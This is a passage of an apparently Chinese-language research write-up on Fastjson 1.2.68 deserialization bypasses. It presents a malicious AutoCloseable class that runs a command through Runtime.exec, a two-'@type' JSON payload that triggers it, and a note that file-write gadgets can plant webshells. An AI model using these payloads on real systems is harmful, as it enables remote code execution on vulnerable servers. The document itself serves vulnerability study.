            Method exec = runtime.getMethod("exec", String.class);
            Method getRuntime = runtime.getMethod("getRuntime");
            Object r = getRuntime.invoke(runtime);
            exec.invoke(r, "calc.exe");
        } catch (Exception e) {
            e.printStackTrace();
        }
    }
}
1653561821863.png

这样就能成功利用了,但是实际上根本不存在这样的类去让我们创建,利用条件:

  1. 限定了可以利用的类必须是Throwable的子类,不过异常类很少使用高危函数。
  2. 需要开启ATS,更鸡肋了,随便找个不在黑名单的类都可以利用了

所以说很难利用。

JavaBeanDeserializer

在获取反序列化器的时候,如果是一个接口,且里面所有的判断都不满足,就会返回JavaBeanDeserializer

创建一个接口Test,并且写一个Test1实现这个接口,这个跟刚才那个差不多,也是第二个@type为第一个的实现,就能实例化第二个类

1653563622202.png

这个类跟刚才那个不同的是,这个应用更广泛,只需要找一个接口,然后找一个实现了这个接口的类,类中有可以利用的点即可;最好是可以绕过autoTypeSupport。找到了java.lang.AutoCloseable这个接口,这个接口位于默认的mapping中,有很多子类,不开启autoTypeSupport也可以用。

本地编写一个恶意类,实现java.lang.AutoCloseable接口

AutoCloseableEvil

import java.lang.reflect.Method;

public class AutoCloseableEvil implements AutoCloseable{
    static {
        try {
            Class runtime = Class.forName("java.lang.Runtime");
            Method exec = runtime.getMethod("exec", String.class);
            Method getRuntime = runtime.getMethod("getRuntime");
            Object r = getRuntime.invoke(runtime);
            exec.invoke(r, "calc.exe");
        } catch (Exception e) {
            e.printStackTrace();
        }
    }


    @Override
    public void close() throws Exception {

    }
}

payload(未开启ATS)

{"@type":"java.lang.AutoCloseable", "@type":"AutoCloseableEvil"}
1653564195584.png
1653564465701.png

虽然能利用了,但是这几行基本杜绝了JNDI注入的风险,只能另寻出路。

在 Fastjson 1.2.68 版本上,由浅蓝师傅挖提出了使用 expectClass 中的 AutoCloseable 进行文件读写操作的思路:“IntputStream 和 OutputStream 都是实现自 AutoCloseable 接口的,而且也没有被列入黑名单,所以只要找到合适的类,还是可以进行文件读写等高危操作的。

由此 fastjson 漏洞利用思路从命令执行、JNDI 转为了写文件,在实战情况下,还是可以写入 webshell 拿到权限,因此这个思路成为了 68 版本之后 fastjson 中挖掘漏洞的新思路。

总结

其中JSON.parseJSON.parseObject()的区别是:

1、JSON.parse()返回的结果是Object对象,在使用@type指定类的时候,会获取@type指定的类并且调用该类的setter方法

String jsonstr = "{\"@type\":\"User\",\"age\":20,\"sex\":\"男\",\"userName\":\"Le1a\"}";
Object user =  JSON.parse(jsonstr);//返回类型为Object
image-20220517201729362

2、JSON.parseObject()返回的结果是JSONObject对象,在第二个参数中可以指定返回的对象类型,同时也会调用该类的setter方法

String jsonstr = "{\"age\":20,\"sex\":\"男\",\"userName\":\"Le1a\"}";
User user = JSON.parseObject(jsonstr,User.class);//返回类型直接是User
image-20220517202016651

3、JSON.parseObject()使用了@type获取指定类的时候,就会同时调用gettersetter方法。

String jsonstr = "{\"@type\":\"User\",\"age\":20,\"sex\":\"男\",\"userName\":\"Le1a\"}";
JSONObject parse = JSON.parseObject(jsonstr);//返回类型为JSONObject
image-20220517202637238

参考

https://blog.csdn.net/cdyunaq/article/details/123330514

https://su18.org/post/fastjson/#8-fastjson-1268

https://su18.org/post/fastjson-1.2.68/#%E5%89%8D%E8%A8%80